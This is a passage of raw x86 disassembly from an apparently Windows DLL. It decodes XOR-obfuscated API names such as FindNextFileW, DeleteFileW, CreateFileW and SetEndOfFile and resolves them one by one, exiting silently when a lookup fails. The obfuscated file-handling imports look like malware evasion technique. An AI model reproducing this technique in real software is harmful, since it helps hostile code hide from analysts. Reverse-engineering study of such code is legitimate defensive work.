movups xmmword [esp + 0xe31], xmm0
mov dword [esp + 0xe45], 0x41660045
mov word [esp + 0xe49], 0x4c49
mov byte [esp + 0xe4b], al
nop word [eax + eax]
mov al, byte [esp + 0xe21]
xor byte [esp + ecx + 0xe22], al
inc ecx
cmp ecx, 0x29
jl 0x10015c20
lea eax, [esp + 0xe22]
mov byte [esp + 0xe4b], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x2a], 0
mov al, 0x52
xor al, byte [esp + 0x2a]
mov cl, 0x65
mov byte [esp + 0x2b], al
mov ah, 0x46
mov al, byte [esp + 0x2a]
mov bh, cl
xor ah, al
mov byte [esp + 0x33], 0
mov dl, 0x61
mov byte [esp + 0x2f], ah
mov ch, 0x69
mov byte [esp + 0x33], 0
mov dh, 0x6c
xor cl, al
xor ch, al
mov byte [esp + 0x2c], cl
mov bl, 0x64
mov byte [esp + 0x30], ch
xor dl, al
xor bl, al
xor dh, al
mov byte [esp + 0x2d], dl
xor bh, al
mov byte [esp + 0x2e], bl
lea eax, [esp + 0x2b]
mov byte [esp + 0x31], dh
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
mov byte [esp + 0x3a], bh
call fcn.1001ae00
mov dword [0x100ac2b0], eax
test eax, eax
jne 0x10015d32
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x841], xmm0
mov dword [esp + 0x861], 0xe9e1c6a0
movaps xmm0, xmmword [0x1009d690]
movups xmmword [esp + 0x851], xmm0
mov word [esp + 0x865], 0xec
nop
mov al, byte [esp + 0x841]
xor byte [esp + ecx + 0x842], al
inc ecx
cmp ecx, 0x24
jl 0x10015d00
lea eax, [esp + 0x842]
mov byte [esp + 0x866], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x48], 0
mov al, 0x57
xor al, byte [esp + 0x48]
mov dl, 0x69
mov byte [esp + 0x49], al
mov ah, 0x65
mov al, byte [esp + 0x48]
mov dh, dl
mov byte [esp + 0x12], ah
xor dl, al
xor ah, al
mov byte [esp + 0x52], 0
xor dh, al
mov byte [esp + 0x4d], ah
mov cl, 0x72
mov byte [esp + 0x4b], dl
xor cl, al
mov byte [esp + 0x4f], dh
mov ch, 0x46
mov byte [esp + 0x4a], cl
xor ch, al
mov byte [esp + 0x52], 0
mov bl, 0x74
mov byte [esp + 0x4e], ch
xor bl, al
mov bh, 0x6c
xor bh, al
mov byte [esp + 0x4c], bl
mov al, byte [esp + 0x12]
mov ecx, 0x100ac240
xor al, byte [esp + 0x48]
mov byte [esp + 0x51], al
lea eax, [esp + 0x49]
push eax
push dword [0x100ac248]
mov byte [esp + 0x58], bh
call fcn.1001ae00
mov dword [0x100ac2b4], eax
test eax, eax
jne 0x10015e32
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0x8b3], xmm0
mov dword [esp + 0x8d3], 0x41660045
movaps xmm0, xmmword [0x1009cdb0]
movups xmmword [esp + 0x8c3], xmm0
mov word [esp + 0x8d7], 0x4c49
mov byte [esp + 0x8d9], al
nop word [eax + eax]
mov al, byte [esp + 0x8b3]
xor byte [esp + ecx + 0x8b4], al
inc ecx
cmp ecx, 0x25
jl 0x10015e00
lea eax, [esp + 0x8b4]
mov byte [esp + 0x8d9], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xc0
mov dword [esp + 0xd2], 0xa5b08fc0
mov dword [esp + 0xd6], 0xafb290ae
xor eax, eax
mov dword [esp + 0xda], 0xb3b3a5a3
mov byte [esp + 0xde], 0
nop
xor byte [esp + eax + 0xd3], cl
inc eax
cmp eax, 0xb
jge 0x10015e76
mov cl, byte [esp + 0xd2]
jmp 0x10015e60
lea eax, [esp + 0xd3]
mov byte [esp + 0xde], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2b8], eax
test eax, eax
jne 0x10015f12
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0xa8d], xmm0
mov dword [esp + 0xaad], 0x535345
movaps xmm0, xmmword [0x1009cce0]
movups xmmword [esp + 0xa9d], xmm0
mov dword [esp + 0xab1], 0x4c494166
mov byte [esp + 0xab5], cl
mov al, byte [esp + 0xa8d]
xor byte [esp + ecx + 0xa8e], al
inc ecx
cmp ecx, 0x27
jl 0x10015ee0
lea eax, [esp + 0xa8e]
mov byte [esp + 0xab5], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d720]
movups xmmword [esp + 0x5b8], xmm0
mov dword [esp + 0x5c8], 0xefe9f4e1
mov word [esp + 0x5cc], 0xd7ee
mov byte [esp + 0x5ce], 0
nop
mov al, byte [esp + 0x5b8]
xor byte [esp + ecx + 0x5b9], al
inc ecx
cmp ecx, 0x15
jl 0x10015f40
lea eax, [esp + 0x5b9]
mov byte [esp + 0x5ce], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2bc], eax
test eax, eax
jne 0x10015ff3
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0x175f], xmm0
mov word [esp + 0x178f], 0x4c49
movaps xmm0, xmmword [0x1009cdc0]
movups xmmword [esp + 0x176f], xmm0
mov byte [esp + 0x1791], cl
movaps xmm0, xmmword [0x1009cc90]
movups xmmword [esp + 0x177f], xmm0
mov al, byte [esp + 0x175f]
xor byte [esp + ecx + 0x1760], al
inc ecx
cmp ecx, 0x31
jl 0x10015fc1
lea eax, [esp + 0x1760]
mov byte [esp + 0x1791], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009c9c0]
movups xmmword [esp + 0x2d1], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x2d1]
xor byte [esp + ecx + 0x2d2], al
inc ecx
cmp ecx, 0xe
jl 0x10016010
lea eax, [esp + 0x2d2]
mov byte [esp + 0x2e0], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2c0], eax
test eax, eax
jne 0x100160c2
movaps xmm0, xmmword [0x1009d370]
xor ecx, ecx
movups xmmword [esp + 0x107c], xmm0
mov dword [esp + 0x109c], 0xaca986b4
movaps xmm0, xmmword [0x1009d440]
movups xmmword [esp + 0x108c], xmm0
mov dword [esp + 0x10a0], 0x86e097a5
mov dword [esp + 0x10a4], 0xaca9a1
nop
mov al, byte [esp + 0x107c]
xor byte [esp + ecx + 0x107d], al
inc ecx
cmp ecx, 0x2a
jl 0x10016090
lea eax, [esp + 0x107d]
mov byte [esp + 0x10a7], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x20d], 0x6e694600
mov dword [esp + 0x211], 0x78654e64
xor eax, eax
mov dword [esp + 0x215], 0x6c694674
mov word [esp + 0x219], 0x5765
mov byte [esp + 0x21b], cl
nop dword [eax + eax]
xor byte [esp + eax + 0x20e], cl
inc eax
cmp eax, 0xd
jge 0x10016116
mov cl, byte [esp + 0x20d]
jmp 0x10016100
lea eax, [esp + 0x20e]
mov byte [esp + 0x21b], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2c4], eax
test eax, eax
jne 0x100161c2
movaps xmm0, xmmword [0x1009d4b0]
xor ecx, ecx
movups xmmword [esp + 0xe4c], xmm0
mov dword [esp + 0xe6c], 0xc5ccc9e6
movaps xmm0, xmmword [0x1009d5b0]
movups xmmword [esp + 0xe5c], xmm0
mov dword [esp + 0xe70], 0xc1e680f7
mov word [esp + 0xe74], 0xccc9
mov byte [esp + 0xe76], al
nop word [eax + eax]
mov al, byte [esp + 0xe4c]
xor byte [esp + ecx + 0xe4d], al
inc ecx
cmp ecx, 0x29
jl 0x10016190
lea eax, [esp + 0xe4d]
mov byte [esp + 0xe76], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x53], 0x40
mov al, 6
xor al, byte [esp + 0x53]
mov cl, 0x29
mov byte [esp + 0x54], al
mov dl, 0x2e
mov al, byte [esp + 0x53]
mov ah, 3
xor cl, al
mov byte [esp + 0x12], 0x25
xor dl, al
mov byte [esp + 0x55], cl
xor ah, al
mov byte [esp + 0x5d], 0
mov ch, 0x2c
mov byte [esp + 0x58], ah
xor ch, al
mov byte [esp + 0x56], dl
mov dh, 0x2f
mov byte [esp + 0x59], ch
xor dh, al
mov byte [esp + 0x5d], 0
mov bl, 0x24
mov byte [esp + 0x5a], dh
xor bl, al
mov bh, 0x33
xor bh, al
mov byte [esp + 0x57], bl
mov al, byte [esp + 0x12]
mov ecx, 0x100ac240
xor al, byte [esp + 0x53]
mov byte [esp + 0x5c], al
lea eax, [esp + 0x54]
push eax
push dword [0x100ac248]
mov byte [esp + 0x63], bh
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2c8], eax
test eax, eax
jne 0x100162c2
movaps xmm0, xmmword [0x1009ca60]
movups xmmword [esp + 0x8da], xmm0
mov dword [esp + 0x8fa], 0x1264005
movaps xmm0, xmmword [0x1009cb10]
movups xmmword [esp + 0x8ea], xmm0
mov word [esp + 0x8fe], 0xc09
mov byte [esp + 0x900], cl
nop word [eax + eax]
mov al, byte [esp + 0x8da]
xor byte [esp + ecx + 0x8db], al
inc ecx
cmp ecx, 0x25
jl 0x10016290
lea eax, [esp + 0x8db]
mov byte [esp + 0x900], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d1b0]
movups xmmword [esp + 0x492], xmm0
mov dword [esp + 0x4a2], 0x577365
nop dword [eax]
mov al, byte [esp + 0x492]
xor byte [esp + ecx + 0x493], al
inc ecx
cmp ecx, 0x12
jl 0x100162e0
lea eax, [esp + 0x493]
mov byte [esp + 0x4a5], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2cc], eax
test eax, eax
jne 0x10016382
movaps xmm0, xmmword [0x1009d370]
movups xmmword [esp + 0x1515], xmm0
movaps xmm0, xmmword [0x1009d240]
movups xmmword [esp + 0x1525], xmm0
movaps xmm0, xmmword [0x1009c990]
movups xmmword [esp + 0x1535], xmm0
nop dword [eax]
mov al, byte [esp + 0x1515]
xor byte [esp + ecx + 0x1516], al
inc ecx
cmp ecx, 0x2e
jl 0x10016350
lea eax, [esp + 0x1516]
mov byte [esp + 0x1544], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d220]
movups xmmword [esp + 0x3ca], xmm0
mov word [esp + 0x3da], 0x57
nop dword [eax + eax]
mov al, byte [esp + 0x3ca]
xor byte [esp + ecx + 0x3cb], al
inc ecx
cmp ecx, 0x10
jl 0x100163a0
lea eax, [esp + 0x3cb]
mov byte [esp + 0x3db], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2d0], eax
test eax, eax
jne 0x10016462
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x1319], xmm0
mov dword [esp + 0x1339], 0xf4e3e5f2
movaps xmm0, xmmword [0x1009d6d0]
movups xmmword [esp + 0x1329], xmm0
mov dword [esp + 0x133d], 0xd7f9f2ef
mov dword [esp + 0x1341], 0xe9e1c6a0
mov word [esp + 0x1345], 0xec
nop dword [eax]
mov al, byte [esp + 0x1319]
xor byte [esp + ecx + 0x131a], al
inc ecx
cmp ecx, 0x2c
jl 0x10016430
lea eax, [esp + 0x131a]
mov byte [esp + 0x1346], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0xdf], 0x6c654400
mov dword [esp + 0xe3], 0x46657465
xor eax, eax
mov dword [esp + 0xe7], 0x57656c69
mov byte [esp + 0xeb], cl
nop
xor byte [esp + eax + 0xe0], cl
inc eax
cmp eax, 0xb
jge 0x100164a6
mov cl, byte [esp + 0xdf]
jmp 0x10016490
lea eax, [esp + 0xe0]
mov byte [esp + 0xeb], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2d4], eax
test eax, eax
jne 0x10016542
movaps xmm0, xmmword [0x1009ca60]
movups xmmword [esp + 0xab6], xmm0
mov dword [esp + 0xad6], 0x4037050c
movaps xmm0, xmmword [0x1009cab0]
movups xmmword [esp + 0xac6], xmm0
mov dword [esp + 0xada], 0xc090126
mov byte [esp + 0xade], cl
mov al, byte [esp + 0xab6]
xor byte [esp + ecx + 0xab7], al
inc ecx
cmp ecx, 0x27
jl 0x10016510
lea eax, [esp + 0xab7]
mov byte [esp + 0xade], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d230]
movups xmmword [esp + 0x3dc], xmm0
mov word [esp + 0x3ec], 0x57
nop dword [eax + eax]
mov al, byte [esp + 0x3dc]
xor byte [esp + ecx + 0x3dd], al
inc ecx
cmp ecx, 0x10
jl 0x10016560
lea eax, [esp + 0x3dd]
mov byte [esp + 0x3ed], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2d8], eax
test eax, eax
jne 0x10016622
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x1347], xmm0
mov dword [esp + 0x1367], 0xf4e3e5f2
movaps xmm0, xmmword [0x1009d6e0]
movups xmmword [esp + 0x1357], xmm0
mov dword [esp + 0x136b], 0xd7f9f2ef
mov dword [esp + 0x136f], 0xe9e1c6a0
mov word [esp + 0x1373], 0xec
nop dword [eax]
mov al, byte [esp + 0x1347]
xor byte [esp + ecx + 0x1348], al
inc ecx
cmp ecx, 0x2c
jl 0x100165f0
lea eax, [esp + 0x1348]
mov byte [esp + 0x1374], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x5e], pe_nt_image_headers32
mov al, 0xc3
xor al, byte [esp + 0x5e]
mov cl, 0xef
mov byte [esp + 0x5f], al
mov dl, 0xf0
mov al, byte [esp + 0x5e]
mov ah, 0xc6
xor cl, al
mov byte [esp + 0x12], 0xd7
xor dl, al
mov byte [esp + 0x60], cl
xor ah, al
mov byte [esp + 0x68], 0
mov ch, 0xe9
mov byte [esp + 0x63], ah
xor ch, al
mov byte [esp + 0x61], dl
mov dh, 0xec
mov byte [esp + 0x64], ch
xor dh, al
mov byte [esp + 0x68], 0
mov bl, 0xf9
mov byte [esp + 0x65], dh
xor bl, al
mov bh, 0xe5
xor bh, al
mov byte [esp + 0x62], bl
mov al, byte [esp + 0x12]
mov ecx, 0x100ac240
xor al, byte [esp + 0x5e]
mov byte [esp + 0x67], al
lea eax, [esp + 0x5f]
push eax
push dword [0x100ac248]
mov byte [esp + 0x6e], bh
call fcn.1001ae00
mov dword [0x100ac2dc], eax
test eax, eax
jne 0x10016722
movaps xmm0, xmmword [0x1009d4b0]
xor ecx, ecx
movups xmmword [esp + 0x901], xmm0
mov dword [esp + 0x921], 0xc1e680f7
movaps xmm0, xmmword [0x1009d4c0]
movups xmmword [esp + 0x911], xmm0
mov word [esp + 0x925], 0xccc9
mov byte [esp + 0x927], al
nop word [eax + eax]
mov al, byte [esp + 0x901]
xor byte [esp + ecx + 0x902], al
inc ecx
cmp ecx, 0x25
jl 0x100166f0
lea eax, [esp + 0x902]
mov byte [esp + 0x927], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x69], 0xc0
mov al, 0x8d
xor al, byte [esp + 0x69]
mov bl, 0xa5
mov byte [esp + 0x6a], al
mov cl, 0xaf
mov al, byte [esp + 0x69]
mov dl, 0xb6
xor cl, al
mov byte [esp + 0x12], 0x97
xor dl, al
mov byte [esp + 0x6b], cl
mov ah, 0x86
mov byte [esp + 0x73], 0
xor ah, al
mov byte [esp + 0x6c], dl
mov ch, 0xa9
mov byte [esp + 0x6e], ah
xor ch, al
mov byte [esp + 0x73], 0
mov dh, 0xac
mov byte [esp + 0x6f], ch
xor dh, al
mov bh, bl
xor bl, al
mov byte [esp + 0x70], dh
xor bh, al
mov byte [esp + 0x6d], bl
mov al, byte [esp + 0x12]
mov ecx, 0x100ac240
xor al, byte [esp + 0x69]
mov byte [esp + 0x72], al
lea eax, [esp + 0x6a]
push eax
push dword [0x100ac248]
mov byte [esp + 0x79], bh
call fcn.1001ae00
mov dword [0x100ac2e0], eax
test eax, eax
jne 0x10016822
movaps xmm0, xmmword [0x1009d250]
xor ecx, ecx
movups xmmword [esp + 0x928], xmm0
mov dword [esp + 0x948], 0x81a6c0b7
movaps xmm0, xmmword [0x1009d280]
movups xmmword [esp + 0x938], xmm0
mov word [esp + 0x94c], 0x8c89
mov byte [esp + 0x94e], al
nop word [eax + eax]
mov al, byte [esp + 0x928]
xor byte [esp + ecx + 0x929], al
inc ecx
cmp ecx, 0x25
jl 0x100167f0
lea eax, [esp + 0x929]
mov byte [esp + 0x94e], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0xec], 0x65724300
mov dword [esp + 0xf0], 0x46657461
xor eax, eax
mov dword [esp + 0xf4], 0x57656c69
mov byte [esp + 0xf8], cl
nop
xor byte [esp + eax + 0xed], cl
inc eax
cmp eax, 0xb
jge 0x10016866
mov cl, byte [esp + 0xec]
jmp 0x10016850
lea eax, [esp + 0xed]
mov byte [esp + 0xf8], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2e4], eax
test eax, eax
jne 0x10016902
movaps xmm0, xmmword [0x1009ca60]
xor ecx, ecx
movups xmmword [esp + 0xadf], xmm0
mov dword [esp + 0xaff], 0x4037050c
movaps xmm0, xmmword [0x1009caa0]
movups xmmword [esp + 0xaef], xmm0
mov dword [esp + 0xb03], 0xc090126
mov byte [esp + 0xb07], al
mov al, byte [esp + 0xadf]
xor byte [esp + ecx + 0xae0], al
inc ecx
cmp ecx, 0x27
jl 0x100168d0
lea eax, [esp + 0xae0]
mov byte [esp + 0xb07], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xc0
mov dword [esp + 0xf9], 0xb4a587c0
mov dword [esp + 0xfd], 0xa5aca986
xor eax, eax
mov dword [esp + 0x101], 0xa5baa993
mov byte [esp + 0x105], 0
nop
xor byte [esp + eax + 0xfa], cl
inc eax
cmp eax, 0xb
jge 0x10016946
mov cl, byte [esp + 0xf9]
jmp 0x10016930
lea eax, [esp + 0xfa]
mov byte [esp + 0x105], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2e8], eax
test eax, eax
jne 0x100169e2
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0xb08], xmm0
mov dword [esp + 0xb28], 0x455a49
movaps xmm0, xmmword [0x1009d120]
movups xmmword [esp + 0xb18], xmm0
mov dword [esp + 0xb2c], 0x4c494166
mov byte [esp + 0xb30], cl
mov al, byte [esp + 0xb08]
xor byte [esp + ecx + 0xb09], al
inc ecx
cmp ecx, 0x27
jl 0x100169b0
lea eax, [esp + 0xb09]
mov byte [esp + 0xb30], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009c940]
movups xmmword [esp + 0x2e1], xmm0
mov al, byte [esp + 0x2e1]
xor byte [esp + ecx + 0x2e2], al
inc ecx
cmp ecx, 0xe
jl 0x100169f1
lea eax, [esp + 0x2e2]
mov byte [esp + 0x2f0], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2ec], eax
test eax, eax
jne 0x10016ab2
movaps xmm0, xmmword [0x1009cb70]
xor ecx, ecx
movups xmmword [esp + 0x10a8], xmm0
mov dword [esp + 0x10c8], 0x342e292f
movaps xmm0, xmmword [0x1009cad0]
movups xmmword [esp + 0x10b8], xmm0
mov dword [esp + 0x10cc], 0x6603225
mov dword [esp + 0x10d0], 0x2c2921
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x10a8]
xor byte [esp + ecx + 0x10a9], al
inc ecx
cmp ecx, 0x2a
jl 0x10016a80
lea eax, [esp + 0x10a9]
mov byte [esp + 0x10d3], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x162], 0x74655300
mov dword [esp + 0x166], 0x4f646e45
xor eax, eax
mov dword [esp + 0x16a], 0x6c694666
mov word [esp + 0x16e], 0x65
xor byte [esp + eax + 0x163], cl
inc eax
cmp eax, 0xc
jge 0x10016af7
mov cl, byte [esp + 0x162]
jmp 0x10016ae1
lea eax, [esp + 0x163]
mov byte [esp + 0x16f], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2f0], eax
test eax, eax
jne 0x10016ba2
movaps xmm0, xmmword [0x1009cef0]
movups xmmword [esp + 0xc51], xmm0
mov dword [esp + 0xc71], 0x656c6946
movaps xmm0, xmmword [0x1009cf80]
movups xmmword [esp + 0xc61], xmm0
mov dword [esp + 0xc75], 0x69614620
mov word [esp + 0xc79], 0x6c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xc51]
xor byte [esp + ecx + 0xc52], al
inc ecx
cmp ecx, 0x28
jl 0x10016b70
lea eax, [esp + 0xc52]
mov byte [esp + 0xc7a], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cfd0]
movups xmmword [esp + 0x4a6], xmm0
mov dword [esp + 0x4b6], 0x57676e
nop dword [eax]
mov al, byte [esp + 0x4a6]
xor byte [esp + ecx + 0x4a7], al
inc ecx
cmp ecx, 0x12
jl 0x10016bc0
lea eax, [esp + 0x4a7]
mov byte [esp + 0x4b9], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2f4], eax
test eax, eax
jne 0x10016c62
movaps xmm0, xmmword [0x1009d370]
xor ecx, ecx
movups xmmword [esp + 0x1545], xmm0
movaps xmm0, xmmword [0x1009d3c0]
movups xmmword [esp + 0x1555], xmm0
movaps xmm0, xmmword [0x1009c980]
movups xmmword [esp + 0x1565], xmm0
nop dword [eax]
mov al, byte [esp + 0x1545]
xor byte [esp + ecx + 0x1546], al
inc ecx
cmp ecx, 0x2e
jl 0x10016c30
lea eax, [esp + 0x1546]
mov byte [esp + 0x1574], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x40
mov dword [esp + 0x21c], 0x30210d40
mov dword [esp + 0x220], 0x37252916
xor eax, eax
mov dword [esp + 0x224], 0x2906260f
mov word [esp + 0x228], 0x252c
mov byte [esp + 0x22a], 0
nop dword [eax]
xor byte [esp + eax + 0x21d], cl
inc eax
cmp eax, 0xd
jge 0x10016cb6
mov cl, byte [esp + 0x21c]
jmp 0x10016ca0
lea eax, [esp + 0x21d]
mov byte [esp + 0x22a], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2f8], eax
test eax, eax
jne 0x10016d62
movaps xmm0, xmmword [0x1009d250]
movups xmmword [esp + 0xe77], xmm0
mov dword [esp + 0xe97], 0x8c89a686
movaps xmm0, xmmword [0x1009d400]
movups xmmword [esp + 0xe87], xmm0
mov dword [esp + 0xe9b], 0x81a6c085
mov word [esp + 0xe9f], 0x8c89
mov byte [esp + 0xea1], cl
nop word [eax + eax]
mov al, byte [esp + 0xe77]
xor byte [esp + ecx + 0xe78], al
inc ecx
cmp ecx, 0x29
jl 0x10016d30
lea eax, [esp + 0xe78]
mov byte [esp + 0xea1], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d6a0]
movups xmmword [esp + 0x362], xmm0
mov byte [esp + 0x372], 0
nop dword [eax]
mov al, byte [esp + 0x362]
xor byte [esp + ecx + 0x363], al
inc ecx
cmp ecx, 0xf
jl 0x10016d80
lea eax, [esp + 0x363]
mov byte [esp + 0x372], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2fc], eax
test eax, eax
jne 0x10016e42
movaps xmm0, xmmword [0x1009ca60]
movups xmmword [esp + 0x1209], xmm0
mov dword [esp + 0x1229], 0x26062f17
movaps xmm0, xmmword [0x1009ca70]
movups xmmword [esp + 0x1219], xmm0
mov dword [esp + 0x122d], 0x40050c09
mov dword [esp + 0x1231], 0xc090126
mov byte [esp + 0x1235], cl
nop dword [eax]
mov al, byte [esp + 0x1209]
xor byte [esp + ecx + 0x120a], al
inc ecx
cmp ecx, 0x2b
jl 0x10016e10
lea eax, [esp + 0x120a]
mov byte [esp + 0x1235], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cb60]
movups xmmword [esp + 0x6bc], xmm0
mov dword [esp + 0x6cc], 0x352f0325
mov dword [esp + 0x6d0], 0x3225342e
mov byte [esp + 0x6d4], 0
nop
mov al, byte [esp + 0x6bc]
xor byte [esp + ecx + 0x6bd], al
inc ecx
cmp ecx, 0x17
jl 0x10016e70
lea eax, [esp + 0x6bd]
mov byte [esp + 0x6d4], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac300], eax
test eax, eax
jne 0x10016f32
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0x192e], xmm0
mov dword [esp + 0x195e], 0x4c494166
movaps xmm0, xmmword [0x1009cde0]
movups xmmword [esp + 0x193e], xmm0
mov byte [esp + 0x1962], al
movaps xmm0, xmmword [str.FORMANCEcOUNTER]
movups xmmword [esp + 0x194e], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x192e]
xor byte [esp + ecx + 0x192f], al
inc ecx
cmp ecx, 0x33
jl 0x10016f00
lea eax, [esp + 0x192f]
mov byte [esp + 0x1962], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100ac24c]
test edx, edx
je 0x100184c2
xor cl, cl
mov dword [esp + 0x106], 0x67655200
mov dword [esp + 0x10a], 0x6e65704f
xor eax, eax
mov dword [esp + 0x10e], 0x5779654b
mov byte [esp + 0x112], cl
nop dword [eax]
xor byte [esp + eax + 0x107], cl
inc eax
cmp eax, 0xb
jge 0x10016f86
mov cl, byte [esp + 0x106]
jmp 0x10016f70
lea eax, [esp + 0x107]
mov byte [esp + 0x112], 0
push eax
push edx
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac304], eax
test eax, eax
jne 0x10017022
movaps xmm0, xmmword [0x1009ca60]
movups xmmword [esp + 0xb31], xmm0
mov dword [esp + 0xb51], 0x40371905
movaps xmm0, xmmword [0x1009cbf0]
movups xmmword [esp + 0xb41], xmm0
mov dword [esp + 0xb55], 0xc090126
mov byte [esp + 0xb59], cl
nop dword [eax + eax]
mov al, byte [esp + 0xb31]
xor byte [esp + ecx + 0xb32], al
inc ecx
cmp ecx, 0x27
jl 0x10016ff0
lea eax, [esp + 0xb32]
mov byte [esp + 0xb59], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d200]
movups xmmword [esp + 0x3ee], xmm0
mov word [esp + 0x3fe], 0x57
nop dword [eax + eax]
mov al, byte [esp + 0x3ee]
xor byte [esp + ecx + 0x3ef], al
inc ecx
cmp ecx, 0x10
jl 0x10017040
lea eax, [esp + 0x3ef]
mov byte [esp + 0x3ff], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac308], eax
test eax, eax
jne 0x10017102
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
